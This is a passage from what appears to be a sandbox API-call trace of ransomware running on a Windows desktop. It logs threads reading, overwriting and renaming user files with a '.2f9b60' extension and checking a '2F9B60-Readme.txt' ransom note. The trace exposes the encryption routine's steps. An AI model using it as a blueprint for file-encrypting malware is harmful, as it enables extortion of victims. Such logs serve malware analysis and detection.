_Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="a3") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="ac") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6dc, _Format="%c%c" | out: _Dest="d8") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6de, _Format="%c%c" | out: _Dest="c8") returned 2 [0101.911] RtlInitAnsiString (in: DestinationString=0x21f0f848, SourceString="bb95b8738b3b1f702c500c77440df15ae78060d9a3acd8c8" | out: DestinationString="bb95b8738b3b1f702c500c77440df15ae78060d9a3acd8c8") [0101.911] RtlAnsiStringToUnicodeString (in: DestinationString=0x21f0f818, SourceString="bb95b8738b3b1f702c500c77440df15ae78060d9a3acd8c8", AllocateDestinationString=1 | out: DestinationString="bb95b8738b3b1f702c500c77440df15ae78060d9a3acd8c8") returned 0x0 [0101.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9240 [0101.912] wcscat (in: _Dest=0x1b8699c0, _Source="bb95b8738b3b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bb95b8738b3b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bb95b8738b3b" [0101.912] wcscat (in: _Dest=0x1b8699c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bb95b8738b3b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bb95b8738b3b.2f9b60" [0101.912] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bb95b8738b3b.2f9b60", NtPathName=0x21f0f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bb95b8738b3b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1cd0 [0108.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0108.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f300) returned 1 [0108.946] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x21f0f858, FileInformation=0x21f0f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21f0f858, FileInformation=0x21f0f868) returned 0x0 [0108.946] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x21f0f858, FileInformation=0x21f0f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0108.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0108.950] FlushFileBuffers (hFile=0x14b8) returned 1 [0108.958] CloseHandle (hObject=0x14b8) returned 1 [0108.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dbf0 [0108.959] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.959] wcscat (in: _Dest=0x1b79dbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.959] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0108.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864140) returned 1 Thread: id = 783 os_tid = 0x1320 [0098.713] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edewwlqck.jpg")) returned 0x20 [0098.713] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg", dwFileAttributes=0x20) returned 1 [0098.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edewwlqck.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14bc [0098.713] GetFileSizeEx (in: hFile=0x14bc, lpFileSize=0x21baf680 | out: lpFileSize=0x21baf680*=87419) returned 1 [0098.714] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x15577, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.714] ReadFile (in: hFile=0x14bc, lpBuffer=0x21baf600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21baf648, lpOverlapped=0x0 | out: lpBuffer=0x21baf600*, lpNumberOfBytesRead=0x21baf648*=0x4, lpOverlapped=0x0) returned 1 [0098.715] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0098.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0098.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0098.715] NtQuerySystemTime (in: CurrentTime=0x21baf540 | out: CurrentTime=0x21baf540*=132462177042310000) returned 0x0 [0098.715] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x4b06bb92 [0098.715] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x12de6147 [0098.715] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x44f46db [0098.715] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x40f5ed76 [0098.715] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x16b766d [0098.715] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x3fc2b4f0 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x1ea861be [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x32670c48 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x6709f476 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x597c396b [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x58e0431d [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x795e3235 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x1f7c6ec8 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x3d16d7bb [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x17967f5f [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x29c35729 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x7c6240d6 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x226db92d [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x7b4c66b8 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x33012094 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x2c8f96a0 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x3107894e [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x49abaa51 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x30983db1 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x576b0b12 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x7ba1ac76 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x3d4ce01d [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x6076bd8a [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x4138b04a [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x620f6594 [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x73c2471d [0098.716] RtlRandomEx (in: Seed=0x21baf530 | out: Seed=0x21baf530) returned 0x154ba94b [0098.725] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.725] ReadFile (in: hFile=0x14bc, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21baf5a0, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x21baf5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.726] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0098.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0098.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee5a30 [0098.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0098.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0098.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0098.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.726] WriteFile (in: hFile=0x14bc, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21baf5a0, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x21baf5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0100.511] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.511] ReadFile (in: hFile=0x14bc, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21baf5a0, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x21baf5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.511] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0100.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420540b0 [0100.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0100.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0100.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201f0f0 [0100.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0100.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0100.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0100.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420540b0) returned 1 [0100.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0100.921] WriteFile (in: hFile=0x14bc, lpBuffer=0x4201f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21baf5a0, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, lpNumberOfBytesWritten=0x21baf5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0101.587] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x1197b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.587] ReadFile (in: hFile=0x14bc, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21baf5a0, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x21baf5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.587] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x1197b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0101.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0101.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201f0f0 [0101.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0101.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0101.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0101.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.588] WriteFile (in: hFile=0x14bc, lpBuffer=0x4201f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21baf5a0, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, lpNumberOfBytesWritten=0x21baf5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0101.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8d00 [0101.716] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.716] WriteFile (in: hFile=0x14bc, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x21baf650, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x21baf650*=0x14c, lpOverlapped=0x0) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133760) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e70) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d00) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0102.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0102.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8696c0 [0102.592] wcscpy (in: _Dest=0x1b8696c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg" [0102.592] wcscat (in: _Dest=0x1b8696c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg.2f9b60" [0102.592] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg.2f9b60", NtPathName=0x21baf670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205d870 [0104.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d870) returned 1 [0104.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053690) returned 1 [0104.504] NtQueryInformationFile (in: FileHandle=0x14bc, IoStatusBlock=0x21baf6d8, FileInformation=0x21baf6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21baf6d8, FileInformation=0x21baf6e8) returned 0x0 [0104.504] NtSetInformationFile (FileHandle=0x14bc, IoStatusBlock=0x21baf6d8, FileInformation=0x21baf6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0104.986] FlushFileBuffers (hFile=0x14bc) returned 1 [0106.925] CloseHandle (hObject=0x14bc) returned 1 [0107.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ea10 [0107.115] wcscpy (in: _Dest=0x1b85ea10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0107.116] wcscat (in: _Dest=0x1b85ea10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0107.116] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0107.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0107.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8641b0) returned 1 Thread: id = 784 os_tid = 0x1324 [0098.728] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fk5O.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fk5o.m4a")) returned 0x20 [0098.729] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fk5O.m4a", dwFileAttributes=0x20) returned 1 [0098.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fk5O.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fk5o.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0098.729] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x2145fca0 | out: lpFileSize=0x2145fca0*=15927) returned 1 [0098.729] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x3e33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.729] ReadFile (in: hFile=0x14c0, lpBuffer=0x2145fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2145fc68, lpOverlapped=0x0 | out: lpBuffer=0x2145fc20*, lpNumberOfBytesRead=0x2145fc68*=0x4, lpOverlapped=0x0) returned 1 [0098.730] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0098.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0098.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0098.731] NtQuerySystemTime (in: CurrentTime=0x2145fb60 | out: CurrentTime=0x2145fb60*=132462177042466000) returned 0x0 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x1b8fa9a4 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x69ebb554 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x42623d54 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x313fa5a7 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x325c83d0 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x70dd3a9 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x54a0c6c2 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x12433342 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x1d0ce3b2 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x98659ff [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x787ab473 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x75f4f9d [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x47de7ce2 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x53cd0b44 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x4f9d1114 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x730b0fb0 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x34d7d22 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x992b118 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x223276e4 [0098.731] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x130f6577 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x1b9534f0 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x12185a82 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x6aa291bd [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x53af8c12 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x5de7687d [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x3543f631 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x24fe2734 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x2c5d28c3 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x3cbf0311 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x237a07a1 [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0x7ea7c7de [0098.732] RtlRandomEx (in: Seed=0x2145fb50 | out: Seed=0x2145fb50) returned 0xa8c73fa [0098.745] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.745] ReadFile (in: hFile=0x14c0, lpBuffer=0x1cf0b2d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2145fbc0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0b2d0*, lpNumberOfBytesRead=0x2145fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.745] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0098.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0098.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ae130 [0098.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0098.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0098.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b60) returned 1 [0098.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.746] WriteFile (in: hFile=0x14c0, lpBuffer=0x201ae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2145fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesWritten=0x2145fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0100.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0b2d0) returned 1 [0100.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20263b00 [0100.921] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.921] WriteFile (in: hFile=0x14c0, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x102, 